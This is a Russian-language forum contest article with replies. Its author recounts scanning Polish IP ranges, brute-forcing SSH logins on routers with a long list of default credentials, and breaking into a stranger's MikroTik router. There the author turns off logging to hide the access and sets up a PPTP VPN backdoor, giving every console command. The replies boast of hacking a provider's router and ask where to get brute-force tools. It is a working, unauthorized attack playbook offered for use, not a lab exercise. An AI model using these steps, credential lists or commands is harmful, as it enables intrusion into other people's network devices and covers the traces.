Конкурс Брутфорс "микротиков" по SSH с последующей установкой PPTP VPN сервера.

Статья для участия в конкурсе на codeby
В своей последней статье я привела пример взлома роутеров с помощью программы RouterScan.
Но, на мой взгляд, статья получилась недосказанной. Поэтому, сегодня возникло желание написать продолжение.
В этой статье я продолжу атаковать роутеры Польши, найду среди списка жертв маршрутизатор "Микротик", осуществлю коннект по протоколу SSH и подниму на нём сервер VPN PPTP.
Атака будет происходить с того-же виртуального VDS, что и в прошлый раз.

Мой VDS управляется ОС Windows, поэтому для сканирования портов и последующего брутфорса будут использоваться программы, работающие ТОЛЬКО в ОС Windows. Мой выбор обусловлен тем, что на мой взгляд, на форуме уделяется недостаточно внимания программному обеспечению под Windows, которое справляется с "НЕэтичным хакингом" ничуть не хуже, а иногда и лучше линуксоидных утилит. Второстепенной целью статьи является популяризация ОС Windows в области пентестинга.

Как уже было сказано выше, для атаки я случайным образом выбрала роутеры Польши. Для получения IP упомянутой страны я воспользуюсь сервисом, отличным от предыдущего:

Ссылка скрыта от гостей

Выбираем желаемую страну.
В поле "Formatting" выбираем способ вывода информации, ставим галочку на "By input"
В поле для ввода видим следующие:

мне нужен только диапазон IP адресов без лишнего мусора, поэтому удаляем всё и вставляем:

{startip}-{endip}

После нажатия кнопки "Generate", получаем желаемый список диапазонов.

​

Можно перейти к сканированию 22 порта полученных диапазонов IP.
Выбор программ для сканирования портов для Windows более чем богат:

• KPortScan
• VNC-scanner
• Zenmap
• Masscan
• xDedic IP Scanner

Я остановлюсь на программе xDedic IP Scanner.

При сканировании на двух тысячах потоков программа справилась с поставленной задачей в считанные минуты.

Осталось определиться с выбором программ для брутфорс-атаки.
Операционная система Windows в этом отношении нисколько не уступает Linux, выбор программ для брутфорса SSH заставляет мой мозг "подвиснуть":

​

Мой выбор пришёлся на программу КГБ SSH Tool. В программе имеется возможность брутфорса по логину и паролю раздельно, а также по списку логинов и паролей в различных вариантах.
Так как моей целью являются только роутеры, то в переборе по списку логинов и списку паролей особого смысла нет: в good-ы попадут различные ненужные мне устройства. Логичнее составить текстовый файл со списком дефолтных пар логинов и паролей следующего вида:

admin;0000
admin;00000000
admin;0508780503
admin;1
admin;123
admin;1234
admin;12345
admin;123456
admin;1234567
admin;12345678
admin;123456789
admin;1234567890
admin;21232
admin;263297
admin;2w4f6n8k
admin;590152
admin;9f4r5r79//
admin;admin
admin;ADMIN
Admin;Admin
admin;admin225
admin;adminadmin
admin;adn8pzszk
admin;adsl
admin;adsladmin
admin;adslroot
admin;airlive
admin;airocon
admin;amvqnekk
admin;asus
admin;beeline
admin;beeline2013
admin;biyshs9eq
admin;changeme
admin;cisco
admin;default
admin;Dkdk8e89
admin;dPZb4GJTu9
admin;e2b81d_1
admin;EbS2P8
admin;Ferrum
admin;FERRUM
admin;Ferum
admin;FERUM
admin;FhF8WS
admin;flvbyctnb
admin;free
admin;gfhjkm
admin;ghbdtn
admin;ho4uku6at
admin;inet
admin;internet
admin;iyeh
admin;juklop
admin;Kendalf9
admin;mts
admin;nimda
admin;onlime
admin;password
admin;qweasdOP
admin;qwerty
admin;radmin
admin;rombik1
admin;root
admin;RTadmin1979
admin;szt
admin;Uq-4GIt3M
admin;ZmqVfo
admin;ZmqVfo1
admin;ZmqVfo2
admin;ZmqVfo3
admin;ZmqVfo4
admin;ZmqVfoN1
admin;ZmqVfoN2
admin;ZmqVfoN3
admin;ZmqVfoN4
admin;ZmqVfoSIP
admin;ZmqVfoVPN
admin;zyxel
adsl;realtek
airlive;airlive
cisco;cisco
Cisco;Cisco
enable;cisco
engineer;amplifier
kyivstar;kyivstar
mgts;mtsoao
mts;mts
osteam;5up
pnadmin;pnadmin
root;<empty>
root;admin
root;attack
root;Cisco
root;public
root;root
root;toor
super;APR@xuniL
super;asong
super;super
super;zxcvbnm,./
superadmin;Is$uper@dmin
support;<empty>
support;support
telecomadmin;admintelecom
telekom;telekom
user;<empty>
user;user
ZXDSL;ZXDSL

Список логинов и паролей был импортирован из файла auth_basic.txt рассмотренной в предыдущей статье программы RouterScan.
Список атакуемых Ip, список логин;пароль - это всё, что нужно для запуска программы.
После заполнения полей программы как показано на скриншоте, можно нажимать кнопку "Старт" и тем самым начать атаку.

Для написания статьи мне нужен всего один Mikrotik.
Поэтому, как только размер файла Good.txt прининял значение отличное от нулевого, я начала в него подглядывать и искать записи типа

admin;<EMPTY>@82.139.xxx.xxx

Такое поведение объясняется тем, что по-умолчанию Микротики имеют логин "admin", а пароль вовсе отсутствует. Владельцы зачастую относятся роутерам как к бытовому прибору и пароли от вэб-интерфейса совпадают с паролями для доступа к ним по протоколу SSH.
Результаты атаки не заставили себя долго ждать:

Результаты атаки я спешу вставить в программу Bitvise SSH Client, которая предоставит мне доступ к роутеру по протоколу SSH.
В этом месте мне очень хочется написать фразу типа: "на поиски желаемого микротика у меня ушло совсем немного времени". Но это не так.
Программа КГБ SSH Tool всё наполняла и наполняла список good-ов, я поочерёдно методом грубого подбора пыталась найти Mikrotik. За время подбора мне попадались много различных моделей роутеров, которые пригодятся мне для написания моей следующей статьи, но это были не "микротики".

Но всё-таки, кто-то на небесах вознаградил меня за упрямство и спустя некоторый промежуток времени желаемая модель была обнаружена. Версия прошивки моего Mikrotik v.6.37.3(stable)

Коннект к WEB-интерфейсу данного маршрутизатора безошибочно указывал на то, что я достигла желаемой цели, ошибки не случилось:

Поднять VPN PPTP сервер на микротике легче всего прямо в окне браузера, но ведь мы не ищем лёгких путей. Поднимать сервер я буду из консоли маршрутизатора.

• Включаем pptp сервер:

/interface pptp-server server set enabled=yes authentication=chap

Команды консоли тут же отразились в WEB-интерфейсе, значит всё идёт по плану:

​

Раз уж я зашла в веб-интерфейс роутера, то вполне логично посмотретьь его логи:

ВАУ, да здесь проходной двор: по протоколу SSH огромное количество соединений из разных точек планеты. "А что в логах ? "- задая себе вопрос.

Ссылка скрыта от гостей

Логи моего подключения - как на ладони.
Отключаем ведение логов.

/system logging
set 0 topics=info,!account

​

Продолжаю двигаться к намеченной цели.
Дальнейшие действия в консоли:

• Добавляем интерфейса pptp сервера:

/interface pptp-server add name=pptp-in1 user=valkiria

• Устанавливаем пул адресов, которые будут выдаваться подключившимся пользователям:

/ip pool add name="pptp-pool" ranges=172.20.1.10/28

Сработало )

• Добавляем профиль для pptp сервера:

ppp profile add name="pptp" local-address=172.20.1.11 remote-address=pptp-pool use-encryption=default only-one=default change-tcp-mss=yes

В этом месте можно проконтролировать выполнение команд в web-интерфейсе устройства по адресу

• Добавляем данные для аутентификации:

/ppp secret add name="valkiria" service=pptp caller-id="" password="123456" profile=pptp

Ссылка скрыта от гостей

Задаём два правила для файерволла.
Первое — открывает порт 1723, второе разрешает протокол 47(GRE).

/ip firewall filter add chain=input action=accept protocol=tcp dst-port=1723 log=no log-prefix="" comment="Allow access to VPN"
/ip firewall filter add chain=input action=accept protocol=gre log=no log-prefix="" comment="If you have a VPN (pptp server)"

Готово, VPN PPTP сервер на удалённом Mikrotik установлен.
Можно подключаться с локальной машины.
Данные для аутентификции:

83.2.1xxx.xxx@valkiria;123456

​

 

[Polo]

Не согласен. При первичной настройке микротик заставит пользователя установить пароль. Как по мне, брутить пустые пароли не имеет смысла.



По умолчанию на микротике включен встроенный DDNS. Адрес можно найти в IP --> Cloud
(эта функция присутствует на относительно новых прошивках)

На старых моделях микротик можно оставлять пустые пароли, очень много таких как 12345 admin admin 00000 так как много кому просто лень придумывать пароль, а ещё страшнее его забыть и нести в сервисный, у самого на тп линк стоял admin/admin пока не начал заниматься сканом роутеров у себя по району(Халявный вафай искал ).
При бруте ssh до 2к брутится без паролей но через сутки видимо ip меняется и 70% ssh получается нерабочие.
Vpn не настраивал буду пробовать
Кто ищет софты в гугле по первым ссылкам гуглятся

 

[0v3r_Cr1t]

я вот только одного не понял, зачем pptp он ведь расшифровывается на ура

 

[Sapian65]

Есть уязвимость в винбокс(аутентификационная система микротик), недавно маршрутизатор своего провидера хакнул, там мой vlan, еще нескольких домов, и куча расходящихся эзернетов

 

[BarDimNik]

Valkiria, здравствуйте! Можете ли Вы поделиться списком программ для брутфорса под Windows, которыми Вы пользуетесь (и где их можно скачать, по возможности)? Хотелось бы получить более развёрнутый ответ. Мне тоже интересна тема использования Windows для пентеста других систем (для общего развития).